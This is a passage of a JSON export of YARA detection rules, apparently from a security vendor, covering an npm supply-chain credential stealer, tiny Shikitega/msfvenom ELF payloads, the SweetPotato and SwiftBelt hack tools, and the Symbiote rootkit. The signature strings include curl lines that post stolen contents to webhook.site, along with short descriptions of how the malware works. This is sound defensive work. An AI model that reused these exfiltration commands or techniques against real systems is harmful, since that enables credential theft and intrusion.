+  "hl_testing_start_time": "2026-03-23T11:46:25.573300Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages\nhttps://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages"
+  ],
+  "name": "supply_chain_npm_package.yar",
+  "content": "rule npm_supply_chain_25 {\n    meta:\n        title = \"NPM Package Infected by Supply Chain\"\n        id = \"2ef05358-5983-4721-968d-fa7dbd699213\"\n        description = \"Detects an infected NPM package, related to supply chain attack affected multiple NPM packages in september 2025, that can be used to exfiltrate credentials.\\nIt is recommended to investigate network traffic for potential exfiltration.\"\n        references = \"https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages\\nhttps://socket.dev/blog/tinycolor-supply-chain-attack-affects-40-packages\"\n        date = \"2025-09-17\"\n        modified = \"2025-09-23\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.t1217;attack.execution;attack.t1059.002;attack.collection;attack.t1056.002;attack.credential_access;attack.t1555.003\"\n        classification = \"Windows.Stealer.NPMSupplyChain\"\n        context = \"process,memory,file\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        // Detection for this sample:\n        // dc67467a39b70d1cd4c1f7f7a459b35058163592f4a9e8fb4dffcbba98ef210c\n\n        $x1 = \"if (plat === \\\"linux\\\") return \\\"https://github.com/trufflesecurity/trufflehog/releases\" ascii wide\n        $x2 = \"FILE_NAME=\\\".github/workflows/shai-hulud-workflow.yml\\\"\" ascii wide\n\n        $sa1 = \"curl -d \\\"$CONTENTS\\\" https://webhook.site/\" ascii wide\n        $sa2 = \"curl -s -X POST -d \\\"$CONTENTS\\\" \\\"https://webhook.site/\" ascii wide\n\n        $sb1 = \"echo \\\"$CONTENTS\\\" | base64 -w 0\" ascii wide\n        $sb2 = \"/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100\" ascii wide\n\n    condition:\n        any of ($x*) or (1 of ($sa*) and 1 of ($sb*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "npm_supply_chain_25"
+  ],
+  "rule_creation_date": "2025-09-17",
+  "rule_modified_date": "2025-09-23",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.NPMSupplyChain"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1056.002",
+    "attack.t1555.003",
+    "attack.t1059.002",
+    "attack.t1082",
+    "attack.t1217"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "memory",
+    "file",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-suspicious_tiny_elf_68991a23f1d2_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575927Z",
+  "creation_date": "2026-03-23T11:46:25.575929Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575935Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux\nhttps://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html"
+  ],
+  "name": "suspicious_tiny_elf_68991a23f1d2.yar",
+  "content": "rule suspicious_tiny_elf_68991a23f1d2 {\n    meta:\n        title = \"Suspicious Tiny ELF Files (68991a23f1d2)\"\n        id = \"7553d96b-ceef-4b5a-ba60-68991a23f1d2\"\n        description = \"Detects suspicious tiny 32-bit elf files.\\nThese files are often associated with the Shikitega malware targeting Linux systems using a polymorphic encoder.\\nShikitega employs a multistage infection chain, downloading and executing a Metasploit Meterpreter, exploiting vulnerabilities, adding persistence via crontab, and running a cryptominer.\\nThis detection can also identify payloads generated by the msfvenom command.\\nIt is recommended to analyze such files for known Shikitega patterns or Metasploit-related artifacts.\"\n        references = \"https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux\\nhttps://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html\"\n        date = \"2022-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1071.001;attack.t1571;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Linux.Malware.Generic\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"strong\"\n\n        // Detection for these samples:\n        // 0233dcf6417ab33b48e7b54878893800d268b9b6e5ca6ad852693174226e3bed\n        // 130888cb6930500cf65fc43522e2836d21529cab9291c8073873ad7a90c1fbc5\n        // 29aafbfd93c96b37866a89841752f29b55badba386840355b682b1853efafcb8\n        // 4ed78c4e90ca692f05189b80ce150f6337d237aaa846e0adf7d8097fcebacfe7\n        // 6b514e9a30cbb4d6691dd0ebdeec73762a488884eb0f67f8594e07d356e3d275\n        // 7c70716a66db674e56f6e791fb73f6ce62ca1ddd8b8a51c74fc7a4ae6ad1b3ad\n        // 8462d0d14c4186978715ad5fa90cbb679c8ff7995bcefa6f9e11b16e5ad63732\n        // b9db845097bbf1d2e3b2c0a4a7ca93b0dc80a8c9e8dbbc3d09ef77590c13d331\n        // d318e9f2086c3cf2a258e275f9c63929b4560744a504ced68622b2e0b3f56374\n        // d5bd2b6b86ce14fbad5442a0211d4cb1d56b6c75f0b3d78ad8b8dd82483ff4f8\n        // e4a58509fea52a4917007b1cd1a87050b0109b50210c5d00e08ece1871af084d\n        // ea7d79f0ddb431684f63a901afc596af24898555200fc14cc2616e42ab95ea5d\n        // f7f105c0c669771daa6b469de9f99596647759d9dd16d0620be90005992128eb\n        // fc97a8992fa2fe3fd98afddcd03f2fc8f1502dd679a32d1348a9ed5b208c4765\n\n    condition:\n        uint32be(0)    == 0x7f454c46 and // elf magic\n        uint32be(0x4)  == 0x01010100 and // processeur architecture\n        uint32be(0x10) == 0x02000300 and // object file type and required architecture\n        uint32be(0x14) == 0x01000000 and // file version\n        uint32be(0x18) == 0x54800408 and // program entry point\n        uint32be(0x1c) == 0x34000000 and // program header table position\n        uint32be(0x20) == 0x00000000 and // section header table position\n        uint32be(0x24) == 0x00000000 and // flags (architecture dependent)\n        uint32be(0x28) == 0x34002000 and // elf header size\n        uint32be(0x2C) == 0x01000000 and // size of an entry and number of entries in the program header table\n        uint32be(0x30) == 0x00000000 and // size of an entry and number of entries in the section header table\n        filesize < 2KB\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "suspicious_tiny_elf_68991a23f1d2"
+  ],
+  "rule_creation_date": "2022-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068",
+    "attack.t1571"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-suspicious_tiny_elf_b7b4b0348e6c_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586569Z",
+  "creation_date": "2026-03-23T11:46:25.586572Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586577Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux\nhttps://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html"
+  ],
+  "name": "suspicious_tiny_elf_b7b4b0348e6c.yar",
+  "content": "rule suspicious_tiny_elf_b7b4b0348e6c {\n    meta:\n        title = \"Suspicious Tiny ELF Files (b7b4b0348e6c)\"\n        id = \"58a5c07b-5ce6-4e29-b151-b7b4b0348e6c\"\n        description = \"Detects suspicious tiny elf files.\\nThese files are often associated with the Shikitega malware targeting Linux systems using a polymorphic encoder.\\nShikitega employs a multistage infection chain, downloading and executing a Metasploit Meterpreter, exploiting vulnerabilities, adding persistence via crontab, and running a cryptominer.\\nThis detection can also identify payloads generated by the msfvenom command.\\nIt is recommended to analyze such files for known Shikitega patterns or Metasploit-related artifacts.\"\n        references = \"https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux\\nhttps://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html\"\n        date = \"2022-10-18\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027;attack.command_and_control;attack.t1071.001;attack.t1571;attack.t1573.001;attack.privilege_escalation;attack.t1068;attack.persistence;attack.t1053.003\"\n        classification = \"Linux.Malware.Generic\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 70\n        confidence = \"strong\"\n\n        // Detection for these samples:\n        // fd03186ed631d003aa931f8ebcd126d87b30ce360244f037f353c668f84331d9\n        // 318e45113df5bd62d165dbc7ebc728d0a37aa7b398267b9e44a903b24c590a89\n        // 2427f804f43f31b414ebe2d579e561ebe626ff9d1d40d327a260bed2ed2703e2\n        // 1427c49ab11c272ba0a3d4e106beedc43dedafdb080e3a2e92424eb30962154a\n        // 72006974ee1df528c145dd885d4e5807a16623b1341f44ba6c2a4ac38dc4a475\n        // 2bc80b20d8b0011d69289b9de50a7ad613434c6ad2cd742258cb6f985d72e2fe\n\n\n    condition:\n        uint32be(0)    == 0x7f454c46 and // elf magic\n        uint32be(0x4)  == 0x02010100 and // processeur architecture\n        uint32be(0x10) == 0x02003e00 and // object file type and required architecture\n        uint32be(0x14) == 0x01000000 and // file version\n        uint32be(0x18) == 0x78004000 and // program entry point\n        uint32be(0x1c) == 0x00000000 and // program entry point\n        uint32be(0x20) == 0x40000000 and // program header table position\n        uint32be(0x24) == 0x00000000 and // program header table position\n        uint32be(0x28) == 0x00000000 and // section header table position\n        uint32be(0x2C) == 0x00000000 and // section header table position\n        uint32be(0x30) == 0x00000000 and // flags (architecture dependent)\n        uint32be(0x34) == 0x40003800 and // elf header size\n        uint32be(0x38) == 0x01000000 and // size of an entry and number of entries in the program header table\n        uint32be(0x3C) == 0x00000000 and // size of an entry and number of entries in the section header table\n        filesize < 2KB\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "suspicious_tiny_elf_b7b4b0348e6c"
+  ],
+  "rule_creation_date": "2022-10-18",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.Generic"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1053.003",
+    "attack.t1027",
+    "attack.t1573.001",
+    "attack.t1068",
+    "attack.t1571"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sweetpotato_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581543Z",
+  "creation_date": "2026-03-23T11:46:25.581545Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581551Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/CCob/SweetPotato/\nhttps://jlajara.gitlab.io/Potatoes_Windows_Privesc\nhttps://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "sweetpotato.yar",
+  "content": "rule sweetpotato {\n    meta:\n        title = \"SweetPotato HackTool\"\n        id = \"658873d8-0fa6-4722-9916-7fe800f95917\"\n        description = \"Detects the SweetPotato HackTool.\\nSweetPotato is a tool that enables privilege escalation from service accounts to SYSTEM by exploiting various techniques such as JuciyPotato, PetitPotam, EfsPotato, and PrintSpoofer.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/CCob/SweetPotato/\\nhttps://jlajara.gitlab.io/Potatoes_Windows_Privesc\\nhttps://attack.mitre.org/techniques/T1068/\"\n        date = \"2023-11-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.HackTool.SweetPotato\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 32a80b4a25e7f42dd080aedc8917ec64cf90fea97dfd1ba1650aff08578e43cd\n        // f59cf5fa13e50f0f925fc8cf91c8b8ff7bcf5a82da56e9a64e8f2bacedf66ec0\n\n        $s1 = \"[+] Attempting NP impersonation using method EfsRpc to launch\" fullword wide\n        $s2 = \"[+] Server connected to our evil RPC pipe\" fullword wide\n        $s3 = \"[+] Triggering name pipe access on evil PIPE\" fullword wide\n        $s4 = \"[+] Attempting NP impersonation using method PrintSpoofer to launch\" fullword wide\n        $s6 = \"[+] Intercepted and authenticated successfully, launching program\" fullword wide\n        $s7 = \"[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}\" fullword wide\n        $s8 = \"1bf9c10f-6f89-4520-9d2e-aaf17d17ba5e\" ascii\n\n        $canary = \"60eaebb5ce5dcbc136682a45b3f252cd8a203e34fbb8d2cfdd09c852bf079f1e11b872d8a34c24e9e78b0736a8dee0448c87ac300fa3bff26fb4a7e060795632\"\n\n    condition:\n        1 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sweetpotato"
+  ],
+  "rule_creation_date": "2023-11-28",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SweetPotato"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-swiftbelt_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566602Z",
+  "creation_date": "2026-03-23T11:46:25.566604Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566609Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/cedowens/SwiftBelt/tree/master\nhttps://www.elastic.co/security-labs/inital-research-of-jokerspy\nhttps://www.sentinelone.com/blog/jokerspy-unknown-adversary-targeting-organizations-with-multi-stage-macos-malware/"
+  ],
+  "name": "swiftbelt.yar",
+  "content": "rule swiftbelt {\n    meta:\n        title = \"SwiftBelt HackTool\"\n        id = \"cefdefca-0349-48db-8599-2b6cdaa0ea61\"\n        description = \"Detects SwiftBelt, a tool designed to perform various enumerations on macOS hosts.\\nSwiftBelt can, among other things, identify security tools installed on the system and read Slack, Stickie Notes and browsers credentials.\"\n        references = \"https://github.com/cedowens/SwiftBelt/tree/master\\nhttps://www.elastic.co/security-labs/inital-research-of-jokerspy\\nhttps://www.sentinelone.com/blog/jokerspy-unknown-adversary-targeting-organizations-with-multi-stage-macos-malware/\"\n        date = \"2025-10-10\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087;attack.t1217;attack.t1518;attack.t1082;attack.t1007\"\n        classification = \"Windows.HackTool.SwiftBelt\"\n        context = \"process,memory,file.macho\"\n        os = \"MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1\n\n        $canary = \"e6098219db746bd2a8472615a95acc17f0bad0715548be209667b10cdc9092f4\" ascii\n\n        $s1 = \"SwiftBelt: A MacOS enumerator similar to @harmjoy's Seatbelt. Does not use any command line utilities\" ascii fullword\n        $s2 = \"/SwiftBelt/Sources/SwiftBelt/main.swift\" ascii\n        $s3 = \"[-] Firefox places.sqlite database not found for user\" ascii fullword\n        $s4 = \"[-] Chrome History database not found for user\" ascii fullword\n        $s5 = \"[+] NoMAD found so host is likely joined to AD\" ascii fullword\n\n    condition:\n        2 of ($s*) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "swiftbelt"
+  ],
+  "rule_creation_date": "2025-10-10",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "macos"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SwiftBelt"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1518",
+    "attack.t1217",
+    "attack.t1082",
+    "attack.t1087",
+    "attack.t1007"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "memory",
+    "file.macho",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-symbiote_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564292Z",
+  "creation_date": "2026-03-23T11:46:25.564296Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564305Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat"
+  ],
+  "name": "symbiote.yar",
+  "content": "rule linux_symbiote {\n    meta:\n        title = \"Symbiote Rootkit\"\n        id = \"962ad473-7427-4430-b7d5-6c0c3ed7abf6\"\n        description = \"Detects the Symbiote rootkit, a highly evasive Linux-based malware.\\nSymbiote is designed to provide attackers with persistent access to infected systems. It uses BPF packet filters to monitor and manipulate network traffic, and employs DNS exfiltration techniques to communicate with command-and-control servers.\\nThe malware injects itself into legitimate processes, making it difficult to detect using traditional methods.\"\n        references = \"https://blogs.blackberry.com/en/2022/06/symbiote-a-new-nearly-impossible-to-detect-linux-threat\"\n        date = \"2022-06-10\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1572;attack.credential_access;attack.t1056.004\"\n        classification = \"Linux.Rootkit.Symbiote\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Version 1: no bpf and dns tunneling\n        // 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924\n\n        $s_v1_1 = \"/proc/self/fd/%d\" fullword ascii\n        $s_v1_2 = \"/usr/include/linux/usb/usb.h\" fullword ascii\n        $s_v1_3 = \"/usr/bin/ssh\" fullword ascii\n        $s_v1_4 = \"/usr/bin/scp\" fullword ascii\n        $s_v1_5 = \"kerneldev.so\" fullword ascii\n        $s_v1_6 = \"/tmp/resolv.conf\" fullword ascii\n        $s_v1_7 = \"%d.%u.%s.%s\" fullword ascii\n\n\n        // Version 2: long bpf, rc4 to hide strings and no dns tunneling\n        // f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c\n\n        // These snippets are common to version 2 and 3\n        $bpf_snippet_1 = { 28 00 00 00 0c 00 00 00 }  // ether frame type\n        $bpf_snippet_2 = { 06 00 00 00 00 00 00 00 }  // packet drop\n        $bpf_snippet_3 = { 28 00 00 00 36 00 00 00 }  // load tcp src port into register\n        $bpf_snippet_4 = { 28 00 00 00 38 00 00 00 }  // load tcp dst port into register\n        $bpf_snippet_5 = { 30 00 00 00 14 00 00 00 }  // load ipv2 header\n\n\n        // Version 3: shorter bpf, dns tunneling and rc4 to hide strings\n        // ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180\n        // a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6\n\n        $s_v3_1 = \"download_script\" fullword ascii\n        $s_v3_2 = \"prepare_pipe\" fullword ascii\n        $s_v3_3 = \"%d.%zu.%s.%s\" fullword ascii  // DNS tunneling formatting\n\n\n        // Common to version 1, 2 and 3\n        // 121157e0fcb728eb8a23b55457e89d45d76aa3b7d01d3d49105890a00662c924\n        // a0cd554c35dee3fed3d1607dc18debd1296faaee29b5bd77ff83ab6956a6f9d6\n        // ec67bbdf55d3679fca72d3c814186ff4646dd779a862999c82c6faa8e6615180\n        // f55af21f69a183fb8550ac60f392b05df14aa01d7ffe9f28bc48a118dc110b4c\n\n        $op_rc4_key_scheduling = {\n            8B 45 ??                 // mov     eax, [rbp+var_10]\n            48 98                    // cdqe\n            0F B6 84 05 ?? ?? ?? ??  // movzx   eax, [rbp+rax+S]\n            0F B6 C0                 // movzx   eax, al\n            89 C1                    // mov     ecx, eax\n            03 4D ??                 // add     ecx, [rbp+j_1]\n            8B 45 ??                 // mov     eax, [rbp+var_10]\n            89 C2                    // mov     edx, eax\n            C1 FA 1F                 // sar     edx, 1Fh\n            F7 7D ??                 // idiv    [rbp+keylength]\n            89 D0                    // mov     eax, edx\n            48 98                    // cdqe\n            48 03 85 ?? ?? ?? ??     // add     rax, [rbp+s]\n            0F B6 00                 // movzx   eax, byte ptr [rax]\n            0F B6 C0                 // movzx   eax, al\n            8D 14 01                 // lea     edx, [rcx+rax]\n            89 D0                    // mov     eax, edx\n            C1 F8 1F                 // sar     eax, 1Fh\n            C1 E8 18                 // shr     eax, 18h\n            01 C2                    // add     edx, eax\n            81 E2 FF 00 00 00        // and     edx, 0FFh\n            89 D1                    // mov     ecx, edx\n            29 C1                    // sub     ecx, eax\n            89 C8                    // mov     eax, ecx\n            89 45 ??                 // mov     [rbp+j_1], eax\n        }\n\n        $op_port_generation = {\n            48 8B 45 ??  // mov     rax, [rbp+var_18]\n            48 8D 48 03  // lea     rcx, [rax+3]\n            8B 45 ??     // mov     eax, [rbp+var_1C]\n            8D 50 ??     // lea     edx, [rax+0Fh]\n            85 C0        // test    eax, eax\n            0F 48 C2     // cmovs   eax, edx\n            C1 F8 04     // sar     eax, 4\n            89 C2        // mov     edx, eax\n            C1 FA 1F     // sar     edx, 1Fh\n            C1 EA 1C     // shr     edx, 1Ch\n            01 D0        // add     eax, edx\n            83 E0 0F     // and     eax, 0Fh\n            29 D0        // sub     eax, edx\n            48 98        // cdqe\n            48 03 45 ??  // add     rax, [rbp+var_8]\n            0F B6 00     // movzx   eax, byte ptr [rax]\n            88 01        // mov     [rcx], al\n        }\n\n        $op_check_file_hidden = {\n            8B 55 ??              // mov     edx, [rbp+var_4]\n            48 8B 05 ?? ?? ?? ??  // mov     rax, cs:fth_ptr\n            48 63 D2              // movsxd  rdx, edx\n            48 C1 E2 04           // shl     rdx, 4\n            8B 44 02 08           // mov     eax, [rdx+rax+8]\n            48 63 D0              // movsxd  rdx, eax        ; n\n            8B 4D ??              // mov     ecx, [rbp+var_4]\n            48 8B 05 ?? ?? ?? ??  // mov     rax, cs:fth_ptr\n            48 63 C9              // movsxd  rcx, ecx\n            48 C1 E1 04           // shl     rcx, 4\n            48 8B 0C 01           // mov     rcx, [rcx+rax]\n            48 8D 45 ??           // lea     rax, [rbp+dest]\n            48 89 CE              // mov     rsi, rcx        ; src\n            48 89 C7              // mov     rdi, rax        ; dest\n            E8 ?? ?? FF FF        // call    _memcpy\n            8B 55 FC              // mov     edx, [rbp+var_4]\n            48 8B 05 ?? ?? ?? ??  // mov     rax, cs:fth_ptr\n            48 63 D2              // movsxd  rdx, edx\n            48 C1 E2 04           // shl     rdx, 4\n            8B 44 02 08           // mov     eax, [rdx+rax+8]\n            48 98                 // cdqe\n            C6 44 05 ?? 00        // mov     [rbp+rax+dest], 0\n            8B 55 ??              // mov     edx, [rbp+var_4]\n            48 8B 05 ?? ?? ?? ??  // mov     rax, cs:fth_ptr\n            48 63 D2              // movsxd  rdx, edx\n            48 C1 E2 04           // shl     rdx, 4\n            8B 54 02 08           // mov     edx, [rdx+rax+8]\n            48 8D 45 ??           // lea     rax, [rbp+dest]\n            48 89 C6              // mov     rsi, rax\n            48 8D 3D ?? ?? ?? ??  // lea     rdi, rc4_key2\n            E8 ?? ?? FF FF        // call    rc4\n            48 8D 55 ??           // lea     rdx, [rbp+dest]\n            48 8B 45 ??           // mov     rax, [rbp+s1]\n            48 89 D6              // mov     rsi, rdx        ; s2\n            48 89 C7              // mov     rdi, rax        ; s1\n            E8 ?? ?? FF FF        // call    _strcmp\n        }\n\n    condition:\n            (3 of ($op_*))                                                  // detection of versions with strings removed\n            or (2 of ($op_*) and 5 of ($s_v1_*))                            // detection of v1\n            or (2 of ($op_*) and 4 of ($bpf_snippet_*))                     // detection of v2\n            or (2 of ($op_*) and 4 of ($bpf_snippet_*) and 2 of ($s_v3_*))  // detection of v3\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_symbiote"
+  ],
